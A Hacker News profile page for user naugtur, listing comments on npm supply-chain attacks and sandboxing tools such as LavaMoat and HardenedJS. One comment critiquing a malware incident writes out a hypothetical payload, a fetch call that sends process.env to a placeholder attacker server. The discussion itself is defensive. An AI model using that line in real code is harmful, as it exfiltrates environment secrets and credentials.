Live data from Hacker News

Viewing profile — naugtur

naugtur

HN member
Joined
Wed, Jan 11, 2012, 10:59 PM UTC
HN karma
309
Public activity
102 items

About naugtur

No profile information was provided.

Recent public activity

  1. story
  2. comment
    Comment #45596906

    We're making software that doesn't rely on filtering, but Principle Of Least Authority at runtime. https://lavamoat.github.io https://hardenedjs.org

  3. comment
    Comment #45596771

    Here's a tool that protects you from these kind of things without the necessity to set up an environment per project, just simple one-time install. https://github.com/lavamoat/kipu…

  4. comment
    Comment #45252966

    Again, that's why LavaMoat exists. Set it up once and it will block many classes of attacks regardless of where they come from.

  5. comment
    Comment #45187129

    1. Control lifecycle scripts with @lavamoat/allow-scripts 2. Do local dev with https://github.com/lavamoat/kipuka installed (I'm working on it) 3. If you don't permit the APIs used…

  6. comment
    Comment #45183710

    You need to juggle two builds - one while you're iterating rapidly and another when you're near start and finish of the increment. Not a lot of work compared to auditing a thousand…

  7. comment
    Comment #45183605

    It's based on HardenedJS.org The sandbox itself is tight, there's a bug bounty even. The same technology is behind metamask snaps - plugins in a browser extension. And Moddable has…

  8. comment
    Comment #45182274

    Yup, and thanks - I should have made the comment myself but got distracted.

  9. comment
    Comment #45182094

    Very good summary. Most other ecosystems are as vulnerable if not more, they just lack the scale. OP, The malware is coming to the ecosystem you prefer. Give it time.

  10. comment
    Comment #45182065

    - the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscati…

  11. comment
    Comment #45182000

    Vibe coding brings up the need for even more granular isolation. I'm on it ;) LavaMoat Webpack Plugin will soom have the ability to treat parts of your app same as it currently tre…

  12. comment
    Comment #45181437

    Yes, I am. I came up with the first successful attempt at integrating the Principle of Least Authority software in LavaMoat with Webpack and wrote the LavaMoat Webpack Plugin. Also…

  13. comment
    Comment #45181406

    That's why we never went with using keys in CI for publishing. Local machine publishing requires a 2fa. automated publishing should use something like Pagerduty to signal that a ve…

  14. comment
    Comment #45181164

    socket.dev will find most malware within hours of it being published. with LavaMoat most malware won't work even if you don't detect it.

  15. comment
    Comment #45181149

    It's within the same process and realm (window) It has a cost, but it's nothing compared to putting every dependency of a large app in a separate iframe/process and figure out a wa…

  16. comment
    Comment #45181123

    there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so. 500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a s…

  17. comment
    Comment #45181084

    I work with people who understand this stuff :D But if I see a transaction for thousands or millions of a coin I've never heard of with $ value of about 1 it's likely a shitcoin an…

  18. comment
    Comment #45181058

    Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, y…

  19. comment
    Comment #45180775

    If you mean during development - you can opt out of using lavamoat in development for your webpack bundle (I'm assuming you're not running your untested code on valuable data)

  20. comment
    Comment #45180761

    packages published to npm are immutable. if you pin a version, you get the same exact version as long as MSFT servers are not compromised. Installing from git is not recommended an…

  21. comment
    Comment #45180729

    npm is on life support by msft. But there's socket.dev that can tell you if a package is malicious within hours of it being published.

  22. comment
    Comment #45180713

    click through to the article, it has a link to a view that lists the laughable profit

  23. comment
    Comment #45180602

    You're using HMR in your app's production bundle? How?

  24. story
  25. comment
    Comment #45179884

    You too can run malware from NPM (I mean without consequences) https://github.com/naugtur/running-qix-malware?tab=readme-ov...